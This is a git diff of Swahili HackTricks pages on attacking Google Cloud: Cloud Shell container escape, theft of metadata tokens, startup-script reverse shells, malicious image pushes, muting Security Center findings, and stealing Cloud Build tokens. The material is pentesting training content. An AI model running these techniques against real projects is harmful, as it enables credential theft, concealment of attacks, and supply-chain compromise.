Badilisha picha ya kukimbia ili kuiba taarifa na redeploy toleo jipya (kuweka tu kontena jipya la docker lenye lebo sawa halitafanya litekelezwe). Kwa mfano, ikiwa inatoa ukurasa wa kuingia, iba taarifa za kuingia ambazo watumiaji wanatuma.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -21,7 +21,7 @@ sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
```
Hii haitambuliki kama udhaifu na google, lakini inakupa mtazamo mpana wa kinachoendelea katika mazingira hayo.
Zaidi ya hayo, angalia kwamba kutoka kwa mwenyeji unaweza kupata tokeni ya akaunti ya huduma:
Zaidi ya hayo, tambua kwamba kutoka kwa mwenyeji unaweza kupata tokeni ya akaunti ya huduma:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
@@ -45,7 +45,7 @@ Baada ya kutumia [https://github.com/carlospolop/bf_my_gcp_permissions](https://
### Tumia kama Proxy
Ikiwa unataka kutumia mfano wako wa google cloud shell kama proxy unahitaji kukimbia amri zifuatazo (au ziweke kwenye faili la .bashrc):
Ikiwa unataka kutumia mfano wako wa google cloud shell kama proxy unahitaji kukimbia amri zifuatazo (au ziweke kwenye faili .bashrc):
```bash
sudo apt install -y squid
```
@@ -60,7 +60,7 @@ nakala ya **squid.conf** faili kwenye **/etc/squid**
```bash
sudo cp squid.conf /etc/squid
```
Hatimaye, endesha huduma ya squid:
Hatimaye endesha huduma ya squid:
```bash
sudo service squid start
```
@@ -68,7 +68,7 @@ Tumia ngrok kuruhusu proxy ipatikane kutoka nje:
```bash
./ngrok tcp 3128
```
Baada ya kuendesha nakala ya tcp:// url. Ikiwa unataka kuendesha proxy kutoka kwa kivinjari, inapendekezwa kuondoa sehemu ya tcp:// na bandari na kuweka bandari katika uwanja wa bandari wa mipangilio ya proxy ya kivinjari chako (squid ni seva ya proxy ya http).
Baada ya kukimbia nakala ya tcp:// url. Ikiwa unataka kukimbia proxy kutoka kwa kivinjari, inapendekezwa kuondoa sehemu ya tcp:// na bandari na kuweka bandari katika uwanja wa bandari wa mipangilio ya proxy ya kivinjari chako (squid ni seva ya proxy ya http).
Kwa matumizi bora wakati wa kuanzisha, faili ya .bashrc inapaswa kuwa na mistari ifuatayo:
```bash

View File

@@ -14,14 +14,14 @@ Kwa maelezo zaidi kuhusu Compute na VPC (Networking) angalia:
Hii itamruhusu mshambuliaji **kupata data iliyo ndani ya picha zilizopo tayari** au **kuunda picha mpya za VMs zinazofanya kazi** na kupata data zao bila kuwa na ufikiaji wa VM inayofanya kazi.
Inawezekana kusafirisha picha ya VM kwenye bucket kisha kuipakua na kuimount locally kwa amri:
Inawezekana kusafirisha picha ya VM hadi kwenye bucket kisha kuipakua na kuimount locally kwa amri:
```bash
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally
```
Kabla ya kufanya hatua hii, mshambuliaji anaweza kuhitaji mamlaka juu ya storage bucket na kwa hakika **mamlaka juu ya cloudbuild** kwani ndiyo **huduma** itakayohitajika kufanya usafirishaji.\
Kabla ya kufanya kitendo hiki, mshambuliaji anaweza kuhitaji mamlaka juu ya storage bucket na bila shaka **mamlaka juu ya cloudbuild** kwani ndiyo **huduma** itakayohitajika kufanya usafirishaji.\
Zaidi ya hayo, ili hii ifanye kazi, codebuild SA na compute SA zinahitaji ruhusa za mamlaka.\
Cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` inahitaji:
cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` inahitaji:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
@@ -32,7 +32,7 @@ Na SA `<project-id>-compute@developer.gserviceaccount.com` inahitaji:
- roles/compute.storageAdmin
- roles/storage.objectAdmin
### Usafirishaji & Ukaguzi wa Snapshots & Diski kwa ndani
### Usafirishaji & Ukaguzi wa Snapshots & Diski kwa Mitaa
Haiwezekani kusafirisha moja kwa moja snapshots na diski, lakini inawezekana **kubadilisha snapshot kuwa diski, diski kuwa picha** na kufuata **sehemu ya awali**, kusafirisha picha hiyo ili kuikagua kwa ndani.
```bash
@@ -42,9 +42,9 @@ gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --
# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
```
### Kagua Picha inayounda VM
### Inspect an Image creating a VM
Kwa lengo la kufikia **data iliyohifadhiwa katika picha** au ndani ya **VM inayotembea** kutoka mahali ambapo mshambuliaji **ameunda picha,** inawezekana kutoa akaunti ya nje ruhusa juu ya picha:
Kwa lengo la kufikia **data iliyohifadhiwa katika picha** au ndani ya **VM inayotembea** kutoka mahali ambapo mshambuliaji **ameunda picha,** inawezekana kutoa akaunti ya nje ufikiaji juu ya picha:
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
@@ -57,12 +57,12 @@ gcloud compute instances create [INSTANCE_NAME] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
```
Ikiwa huwezi kutoa ufikiaji wa akaunti yako ya nje kupitia picha, unaweza kuzindua VM ukitumia picha hiyo katika mradi wa waathiriwa na **kufanya metadata itekeleze shell ya kinyume** ili kupata picha hiyo kwa kuongeza param:
Ikiwa huwezi kutoa ufikiaji wa akaunti yako ya nje kupitia picha, unaweza kuzindua VM ukitumia picha hiyo katika mradi wa waathirika na **kufanya metadata itekeleze shell ya kinyume** ili kufikia picha hiyo kwa kuongeza param:
```bash
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'
```
### Kagua Snapshot/Diski kwa kuunganisha kwenye VM
### Kagua Snapshot/Diski kwa kuunganisha na VM
Kwa lengo la kufikia **data iliyohifadhiwa kwenye diski au snapshot, unaweza kubadilisha snapshot kuwa diski, diski kuwa picha na kufuata hatua za awali.**

View File

@@ -22,7 +22,7 @@ showmount -e <IP>
mkdir /mnt/fs
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
```
Ili kupata anwani ya IP ya filestore instance angalia sehemu ya orodha ya ukurasa:
Ili kupata anwani ya IP ya filestore instance angalia sehemu ya kuorodhesha ya ukurasa:
{{#ref}}
../gcp-services/gcp-filestore-enum.md
@@ -58,7 +58,7 @@ gcloud filestore instances update nfstest \
```
### Restore a backup
Ikiwa kuna nakala ya akiba, inawezekana ku **irejesha** katika mfano uliopo au katika mfano mpya ili **habari zake zipatikane:**
Ikiwa kuna nakala ya akiba, inawezekana **kuirejesha** katika mfano uliopo au katika mfano mpya ili **habari zake zipatikane:**
```bash
# Create a new filestore if you don't want to modify the old one
gcloud filestore instances create <new-instance-name> \

View File

@@ -26,7 +26,7 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
### `pubsub.topics.delete`
Inatumika kuzuia usajili kupokea ujumbe, labda ili kuepuka kugunduliwa.\
Inawezekana kufuta mada hata ikiwa na usajili ulioambatanishwa nayo.
Inawezekana kufuta mada hata ikiwa na usajili uliofungwa nayo.
```bash
gcloud pubsub topics delete <TOPIC NAME>
```
@@ -36,7 +36,7 @@ Tumia ruhusa hii kuboresha mipangilio fulani ya mada ili kuharibu, kama `--clear
### `pubsub.topics.setIamPolicy`
Jipatie ruhusa ya kutekeleza mashambulizi yoyote ya hapo awali.
Jipatie ruhusa ya kufanya mashambulizi yoyote ya hapo awali.
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
@@ -72,8 +72,8 @@ Jipe ruhusa zinazohitajika kutekeleza mashambulizi yoyote yaliyotajwa hapo awali
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
Shambulia muundo kwa mada ili ujumbe usifanye hivyo na kwa hivyo mada inaharibika.\
Ikiwa hakuna muundo wowote, huenda ukahitaji kuunda mmoja.
Shambulia muundo kwa mada ili ujumbe usifanye hivyo na hivyo mada ikatishwa.\
Ikiwa hakuna muundo, huenda ukahitaji kuunda mmoja.
```json:schema.json
{
"namespace": "com.example",
@@ -100,7 +100,7 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
```
### `pubsub.schemas.delete`
Hii inaweza kuonekana kama kufuta muundo lakini utaweza kutuma ujumbe ambao haukidhi muundo. Hata hivyo, kwa kuwa muundo utafutwa, hakuna ujumbe utakaoweza kuingia ndani ya mada. Hivyo hii ni **HAINA MANUFAA**:
Hii inaweza kuonekana kama kufuta muundo lakini utaweza kutuma ujumbe ambao haukidhi muundo. Hata hivyo, kwa kuwa muundo utafutwa, hakuna ujumbe utakaoweza kuingia ndani ya mada. Hivyo hii ni **HAINA MANUFA**:
```bash
gcloud pubsub schemas delete <SCHEMA NAME>
```

View File

@@ -31,11 +31,11 @@ Zima matokeo kulingana na filtr:
# Mute based on a filter
gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\""
```
Kupatikana kwa kimya hakutonekana kwenye dashibodi ya SCC na ripoti.
A muted finding haitajwi katika dashibodi ya SCC na ripoti.
### `securitycenter.findings.setMute`
Punguza kupatikana kulingana na chanzo, kupatikana...
Zima matokeo kulingana na chanzo, matokeo...
```bash
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
```

View File

@@ -25,7 +25,7 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
```
Ikiwa unajaribu kutoa **ACLs kwa ndoo iliyo na ACLs zilizozuiliwa** utaona kosa hili: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
Ikiwa unajaribu kutoa **ACLs kwa ndoo yenye ACLs zilizozuiliwa** utaona kosa hili: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
Ili kufikia ndoo wazi kupitia kivinjari, fikia URL `https://<bucket_name>.storage.googleapis.com/` au `https://<bucket_name>.storage.googleapis.com/<object_name>`

View File

@@ -12,7 +12,7 @@ Taarifa za msingi:
### Post Exploitation
Mbinu za baada ya unyakuzi ni sawa na zile zilizoshirikiwa katika sehemu ya Workflows Privesc:
Mbinu za post exploitation ni sawa na zile zilizoshirikiwa katika sehemu ya Workflows Privesc:
{{#ref}}
../gcp-privilege-escalation/gcp-workflows-privesc.md

View File

@@ -14,13 +14,13 @@ Kwa hivyo, ningependa kutenganisha mbinu za kupanda hadhi za GCP katika **makund
- **Privesc juu ya rasilimali**: Hii itakuruhusu **kupata idhini zaidi juu ya rasilimali maalum**. mfano: unaweza kutumia idhini ya _setIamPolicy_ juu ya kazi za wingu kukuruhusu kuanzisha kazi hiyo.
- Kumbuka kwamba baadhi ya **idhini za rasilimali pia zitakuruhusu kuunganisha akaunti ya huduma isiyo na mipaka** kwenye rasilimali. Hii inamaanisha kwamba utaweza kuzindua rasilimali na SA, kuingia kwenye rasilimali, na **kuiba token ya SA**. Kwa hivyo, hii itaruhusu kupanda hadhi kwa msingi kupitia kupanda hadhi ya rasilimali. Hii imekuwa ikitokea katika rasilimali kadhaa hapo awali, lakini sasa ni nadra (lakini bado inaweza kutokea).
Bila shaka, mbinu za kupanda hadhi zinazovutia zaidi ni zile za **kundi la pili** kwa sababu zitakuruhusu **kupata idhini zaidi nje ya rasilimali ambazo tayari una** baadhi ya idhini. Hata hivyo, kumbuka kwamba **kupanda hadhi katika rasilimali** kunaweza pia kukupa ufikiaji wa **habari nyeti** au hata kwa **misingi mingine** (labda kupitia kusoma siri ambayo ina token ya SA).
Kwa wazi, mbinu za kupanda hadhi zinazovutia zaidi ni zile za **kundi la pili** kwa sababu zitakuruhusu **kupata idhini zaidi nje ya rasilimali ambazo tayari una** baadhi ya idhini. Hata hivyo, kumbuka kwamba **kupanda hadhi katika rasilimali** kunaweza pia kukupa ufikiaji wa **habari nyeti** au hata kwa **misingi mingine** (labda kupitia kusoma siri ambayo ina token ya SA).
> [!WARNING]
> Ni muhimu pia kutambua kwamba katika **GCP Akaunti za Huduma ni misingi na idhini**, hivyo kupanda hadhi katika SA kutakuruhusu kujifanya kama hiyo pia.
> [!NOTE]
> Idhini kati ya mabano inaonyesha idhini zinazohitajika kutumia udhaifu na `gcloud`. Hizi zinaweza zisihitajike ikiwa unatumia kupitia API.
> Idhini kati ya mabano zinaonyesha idhini zinazohitajika kutumia udhaifu na `gcloud`. Hizi zinaweza kutokuwa zinahitajika ikiwa unatumia kupitia API.
## Permissions for Privilege Escalation Methodology

View File

@@ -4,17 +4,17 @@
## Apikeys
Ruhusa zifuatazo ni muhimu kuunda na kuiba API keys, usisahau hii kutoka kwa nyaraka: _API key ni mfuatano rahisi wa encrypted ambao **unatambulisha programu bila principal yoyote**. Zinatumika kwa kupata **data za umma kwa siri**, na zinatumika ku **unganisha** maombi ya API na mradi wako kwa ajili ya quota na **billing**._
Ruhusa zifuatazo ni muhimu kuunda na kuiba funguo za API, usisahau hili kutoka kwa nyaraka: _Funguo za API ni mfuatano rahisi wa siri unao **tambulisha programu bila ya msingi wowote**. Zinatumika kwa kupata **data za umma kwa njia isiyo na majina**, na zinatumika ku **unganisha** maombi ya API na mradi wako kwa ajili ya quota na **kodi**._
Hivyo, kwa kutumia API key unaweza kufanya kampuni hiyo ilipe kwa matumizi yako ya API, lakini huwezi kuongeza mamlaka.
Hivyo, kwa funguo za API unaweza kufanya kampuni hiyo ilipe kwa matumizi yako ya API, lakini huwezi kuongeza mamlaka.
Kwa maelezo zaidi kuhusu API Keys angalia:
Kwa maelezo zaidi kuhusu Funguo za API angalia:
{{#ref}}
../gcp-services/gcp-api-keys-enum.md
{{#endref}}
Kwa njia nyingine za kuunda API keys angalia:
Kwa njia nyingine za kuunda funguo za API angalia:
{{#ref}}
gcp-serviceusage-privesc.md
@@ -22,11 +22,11 @@ gcp-serviceusage-privesc.md
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
Kama hujui ni APIs zipi zimewezeshwa katika mradi au vizuizi vilivyowekwa kwa API key uliyopata, itakuwa ya kuvutia kutumia chombo [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) na kuangalia **kila kitu unachoweza kufikia kwa API key.**
Kama hujui ni APIs zipi zimewezeshwa katika mradi au vizuizi vilivyowekwa kwa funguo za API ulizozipata, itakuwa ya kuvutia kutumia chombo [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) na kuangalia **kila unachoweza kufikia kwa funguo za API.**
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
Ruhusa hii inaruhusu **kuunda API key**:
Ruhusa hii inaruhusu **kuunda funguo za API**:
```bash
gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
@@ -56,7 +56,7 @@ Unaweza kupata skripti ya kuharakisha [**kuunda, kutumia na kusafisha mazingira
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
Ruhusa hizi zinakuruhusu **orodhesha na kuunda upya funguo za api zilizofutwa**. **Funguo ya API inatolewa katika matokeo** baada ya **kufuta** kufanyika:
Hizi ruhusa zinakuruhusu **orodhesha na kuunda upya funguo za api zilizofutwa**. **Funguo ya API inatolewa katika matokeo** baada ya **kuondoa** kufanyika:
```bash
gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>

View File

@@ -16,13 +16,13 @@ Hizi ndizo ruhusa zinazohitajika ili **kupeleka App kwa kutumia `gcloud` cli**.
Unaweza kupata mifano ya msimbo wa python katika [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
Kwa default, jina la huduma ya App litakuwa **`default`**, na kunaweza kuwa na mfano 1 tu wenye jina sawa.\
Kwa kawaida, jina la huduma ya App litakuwa **`default`**, na kunaweza kuwa na mfano 1 tu wenye jina sawa.\
Ili kubadilisha na kuunda App ya pili, katika **`app.yaml`**, badilisha thamani ya ufunguo wa mzizi kuwa kitu kama **`service: my-second-app`**
```bash
cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder
```
Toa angalau dakika 10-15, ikiwa haifanyi kazi piga **deploy another of times** na subiri dakika chache.
Tafadhali subiri angalau dakika 10-15, ikiwa haifanyi kazi piga simu **deploy another of times** na subiri dakika chache.
> [!NOTE]
> Ni **uwezekano kuashiria Akaunti ya Huduma inayotumika** lakini kwa default, SA ya default ya App Engine inatumika.
@@ -80,11 +80,11 @@ gcloud app update --service-account=<sa_email>
```
### `appengine.versions.getFileContents`, `appengine.versions.update`
Sijui jinsi ya kutumia ruhusa hizi au kama zinafaa (kumbuka kwamba unapobadilisha msimbo toleo jipya linaundwa hivyo sijui kama unaweza tu kubadilisha msimbo au jukumu la IAM la moja, lakini nadhani unapaswa kuwa na uwezo wa kufanya hivyo, labda kubadilisha msimbo ndani ya bucket??).
Sijui jinsi ya kutumia ruhusa hizi au kama zinafaa (kumbuka kwamba unapobadilisha msimbo, toleo jipya linaundwa hivyo sijui kama unaweza tu kubadilisha msimbo au jukumu la IAM la moja, lakini nadhani unapaswa kuwa na uwezo wa kufanya hivyo, labda kubadilisha msimbo ndani ya bucket??).
### Kuandika Ufikiaji juu ya buckets
Kama ilivyotajwa, toleo za appengine zinaunda data ndani ya bucket yenye muundo wa jina: `staging.<project-id>.appspot.com`. Kumbuka kwamba haiwezekani kuchukua kabla bucket hii kwa sababu watumiaji wa GCP hawajaidhinishwa kuunda buckets wakitumia jina la kikoa `appspot.com`.
Kama ilivyotajwa, toleo za appengine zinaunda data fulani ndani ya bucket yenye muundo wa jina: `staging.<project-id>.appspot.com`. Kumbuka kwamba haiwezekani kuchukua kabla bucket hii kwa sababu watumiaji wa GCP hawajaidhinishwa kuunda buckets wakitumia jina la kikoa `appspot.com`.
Hata hivyo, kwa ufikiaji wa kusoma na kuandika juu ya bucket hii, inawezekana kupandisha ruhusa kwa SA iliyoambatanishwa na toleo la AppEngine kwa kufuatilia bucket na wakati wowote mabadiliko yanapofanywa, badilisha kwa haraka iwezekanavyo msimbo. Kwa njia hii, kontena linaloundwa kutoka kwa msimbo huu litafanya **kodi ya nyuma**.

View File

@@ -24,7 +24,7 @@ docker tag <local-img-name>:<local-tag> <location>-docker.pkg.dev/<proj-name>/<r
docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
> [!CAUTION]
> Ilijulikana kwamba ni **uwezekano wa kupakia picha mpya ya docker** mbaya yenye jina na tag sawa na ile iliyopo, hivyo **ya zamani itapoteza tag** na wakati picha hiyo yenye tag hiyo itakaposhushwa **picha mbaya itashushwa**.
> Ilijulikana kwamba ni **uwezekano wa kupakia picha mpya ya docker** mbaya yenye jina na tag sawa na ile iliyopo, hivyo **ya zamani itapoteza tag** na wakati picha hiyo yenye tag hiyo itakaposhushwa, **picha mbaya itashushwa**.
<details>
@@ -56,9 +56,9 @@ def say_hello():
return "Hello, World!"
```
3. **Unda faili ya `setup.py`**:
3. **Unda faili `setup.py`**:
- Katika mzizi wa directory yako ya `hello_world_library`, unda faili ya `setup.py`.
- Katika mzizi wa directory yako ya `hello_world_library`, unda faili `setup.py`.
- Faili hii ina metadata kuhusu maktaba yako na inamwambia Python jinsi ya kuisakinisha.
```python
@@ -86,7 +86,7 @@ python3 setup.py sdist bdist_wheel
```
2. **Sanidi uthibitisho kwa twine** (inayotumika kupakia pakiti yako):
- Hakikisha una `twine` imewekwa (`pip install twine`).
- Hakikisha una `twine` iliyosakinishwa (`pip install twine`).
- Tumia `gcloud` kusanidi akreditif:
````
```sh
@@ -108,7 +108,7 @@ rm -rf dist build hello_world.egg-info
### `artifactregistry.repositories.downloadArtifacts`
Kwa ruhusa hii unaweza **kupakua artefacts** na kutafuta **taarifa nyeti** na **mapungufu**.
Kwa ruhusa hii unaweza **kupakua artefacts** na kutafuta **taarifa nyeti** na **udhaifu**.
Pakua picha ya **Docker**:
```sh
@@ -122,7 +122,7 @@ Pakua maktaba ya **python**:
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
```
- Nini kinatokea ikiwa registries za mbali na za kawaida zimeshikwa katika moja ya virtual na pakiti ipo katika zote? Angalia ukurasa huu:
- Nini kinatokea ikiwa registries za mbali na za kawaida zimeshikwa katika moja ya virtual na pakiti ipo katika zote mbili? Angalia ukurasa huu:
{{#ref}}
../gcp-persistence/gcp-artifact-registry-persistence.md
@@ -149,11 +149,11 @@ Mshambuliaji mwenye ruhusa hii anaweza kujipa ruhusa za kufanya baadhi ya masham
- **Cloud Functions**
Wakati Cloud Function inaundwa, picha mpya ya docker inasukumwa kwenye Artifact Registry ya mradi. Nilijaribu kubadilisha picha hiyo na picha mpya, na hata kufuta picha ya sasa (na picha ya `cache`) na hakuna kilichobadilika, cloud function inaendelea kufanya kazi. Hivyo, labda inaweza **kuwa inawezekana kutumia shambulio la Race Condition** kama ilivyo kwa bucket kubadilisha kontena la docker litakalotekelezwa lakini **kubadilisha picha iliyohifadhiwa pekee hakuwezekani kuathiri Cloud Function**.
Wakati Cloud Function inaundwa, picha mpya ya docker inasukumwa kwenye Artifact Registry ya mradi. Nilijaribu kubadilisha picha hiyo na nyingine mpya, na hata kufuta picha ya sasa (na picha ya `cache`) na hakuna kilichobadilika, cloud function inaendelea kufanya kazi. Hivyo, labda **inaweza kuwa inawezekana kutumia shambulio la Race Condition** kama ilivyo na ndoo kubadilisha kontena la docker litakalotekelezwa lakini **kubadilisha picha iliyohifadhiwa pekee hakuwezekani kuathiri Cloud Function**.
- **App Engine**
Ingawa App Engine inaunda picha za docker ndani ya Artifact Registry. Ilijaribiwa kwamba **hata ukibadilisha picha ndani ya huduma hii** na kuondoa mfano wa App Engine (hivyo mfano mpya unapelekwa) **kanuni inayotekelezwa haibadiliki**.\
Inaweza kuwa inawezekana kwamba kufanya **shambulio la Race Condition kama ilivyo kwa buckets inaweza kuwa inawezekana kufuta kanuni inayotekelezwa**, lakini hii haijajaribiwa.
Inaweza kuwa inawezekana kwamba kufanya **shambulio la Race Condition kama ilivyo na ndoo inaweza kuwa inawezekana kufuta kanuni inayotekelezwa**, lakini hii haijajaribiwa.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -10,9 +10,9 @@ Kwa maelezo zaidi kuhusu BigQuery angalia:
../gcp-services/gcp-bigquery-enum.md
{{#endref}}
### Read Table
### Soma Jedwali
Kusoma taarifa zilizohifadhiwa ndani ya meza ya BigQuery inaweza kuwa inawezekana kupata s**ensitive information**. Ili kufikia taarifa hizo ruhusa zinazohitajika ni **`bigquery.tables.get`**, **`bigquery.jobs.create`** na **`bigquery.tables.getData`**:
Kusoma taarifa zilizohifadhiwa ndani ya jedwali la BigQuery inaweza kuwa inawezekana kupata s**ensitive information**. Ili kufikia taarifa hizo ruhusa zinazohitajika ni **`bigquery.tables.get`**, **`bigquery.jobs.create`** na **`bigquery.tables.getData`**:
```bash
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
@@ -93,6 +93,6 @@ bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
```
> [!CAUTION]
> Chaguo kingine kinachoweza kutumika kupita sera za ufikiaji wa safu ni kubadilisha tu thamani ya data iliyozuiliwa. Ikiwa unaweza kuona tu wakati `term` ni `Cfba`, badilisha rekodi zote za jedwali kuwa na `term = "Cfba"`. Hata hivyo, hii inazuia na bigquery.
> Chaguo kingine kinachoweza kutumika kuzunguka sera za ufikiaji wa safu ni kubadilisha tu thamani ya data iliyozuiliwa. Ikiwa unaweza kuona tu wakati `term` ni `Cfba`, badilisha rekodi zote za jedwali kuwa na `term = "Cfba"`. Hata hivyo, hii inazuia na bigquery.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
### Unda Brand na Mteja wa OAuth
### Unda OAuth Brand na Client
[**Kulingana na nyaraka**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), hizi ndizo ruhusa zinazohitajika:

View File

@@ -13,15 +13,15 @@ Kwa maelezo zaidi kuhusu Cloud Build angalia:
### `cloudbuild.builds.create`
Kwa ruhusa hii unaweza **kuwasilisha ujenzi wa wingu**. Mashine ya cloudbuild itakuwa na **token ya Akaunti ya Huduma ya cloudbuild** katika mfumo wake wa faili kwa **default**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Hata hivyo, unaweza **kuashiria akaunti yoyote ya huduma ndani ya mradi** katika usanidi wa cloudbuild.\
Hivyo, unaweza kufanya mashine hiyo kuhamasisha token hiyo kwenye seva yako au **kupata shell ya kinyume ndani yake na kujipatia token hiyo** (faili inayoshikilia token hiyo inaweza kubadilika).
Hivyo, unaweza kufanya mashine hiyo kuhamasisha token hiyo kwa seva yako au **kupata shell ya kinyume ndani yake na kujipatia token hiyo** (faili inayoshikilia token hiyo inaweza kubadilika).
Unaweza kupata script ya asili ya exploit [**hapa kwenye GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (lakini eneo ambalo inachukua token halikufanya kazi kwangu). Hivyo, angalia script ya kuandaa [**kuunda, ku exploit na kusafisha mazingira yenye udhaifu hapa**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) na script ya python ili kupata shell ya kinyume ndani ya mashine ya cloudbuild na [**kuiba token hiyo hapa**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (katika msimbo unaweza kupata jinsi ya kuashiria akaunti nyingine za huduma)**.**
Unaweza kupata skripti ya asili ya exploit [**hapa kwenye GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (lakini mahali inachukua token hiyo halikufanya kazi kwangu). Hivyo, angalia skripti ya kuandaa [**kuunda, kutumia na kusafisha mazingira yenye udhaifu hapa**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) na skripti ya python ili kupata shell ya kinyume ndani ya mashine ya cloudbuild na [**kuiba token hiyo hapa**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (katika msimbo unaweza kupata jinsi ya kuashiria akaunti nyingine za huduma)**.**
Kwa maelezo ya kina zaidi, tembelea [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
### `cloudbuild.builds.update`
**Inawezekana** kwa ruhusa hii utaweza **k更新 ujenzi wa wingu na kuiba tu token ya akaunti ya huduma** kama ilivyofanywa kwa ruhusa ya awali (lakini kwa bahati mbaya wakati wa kuandika hii sikuweza kupata njia yoyote ya kuita API hiyo).
**Inawezekana** kwa ruhusa hii utaweza **k updates ujenzi wa wingu na kuiba tu token ya akaunti ya huduma** kama ilivyofanywa kwa ruhusa ya awali (lakini kwa bahati mbaya wakati wa kuandika hii sikuweza kupata njia yoyote ya kuita API hiyo).
TODO
@@ -47,7 +47,7 @@ curl -X POST \
```
### `cloudbuild.connections.fetchLinkableRepositories`
Kwa ruhusa hii unaweza **kupata repos ambazo muunganisho una ufikiaji nazo:**
Kwa ruhusa hii unaweza **kupata repos ambazo muunganisho una ufikiaji wa:**
```bash
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \

View File

@@ -19,7 +19,7 @@ Mifano ya skripti za kutumia mbinu hii inaweza kupatikana [hapa](https://github.
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
Mshambuliaji mwenye ruhusa hizi anaweza **kubadilisha msimbo wa Kazi na hata kubadilisha akaunti ya huduma iliyounganishwa** kwa lengo la kutoa tokeni.
Mshambuliaji mwenye ruhusa hizi anaweza **kubadilisha msimbo wa Kazi na hata kubadilisha akaunti ya huduma iliyounganishwa** kwa lengo la kuhamasisha tokeni.
> [!CAUTION]
> Ili kupeleka kazi za wingu, pia utahitaji ruhusa za actAs juu ya akaunti ya huduma ya kawaida ya kompyuta au juu ya akaunti ya huduma inayotumika kujenga picha.
@@ -77,11 +77,11 @@ Jipe ruhusa yoyote kati ya **`.update`** au **`.create`** zilizotangulia ili kup
### `cloudfunctions.functions.update`
Kuwa na ruhusa za **`cloudfunctions`** pekee, bila **`iam.serviceAccounts.actAs`** huwezi **kusaidia kusasisha kazi HII SI RUHUSA HALALI YA KUPANDISHA HADHI.**
Kuwa na ruhusa za **`cloudfunctions`** pekee, bila **`iam.serviceAccounts.actAs`** huwezi **kusaidia kusasisha kazi HII SI VALID PRIVESC.**
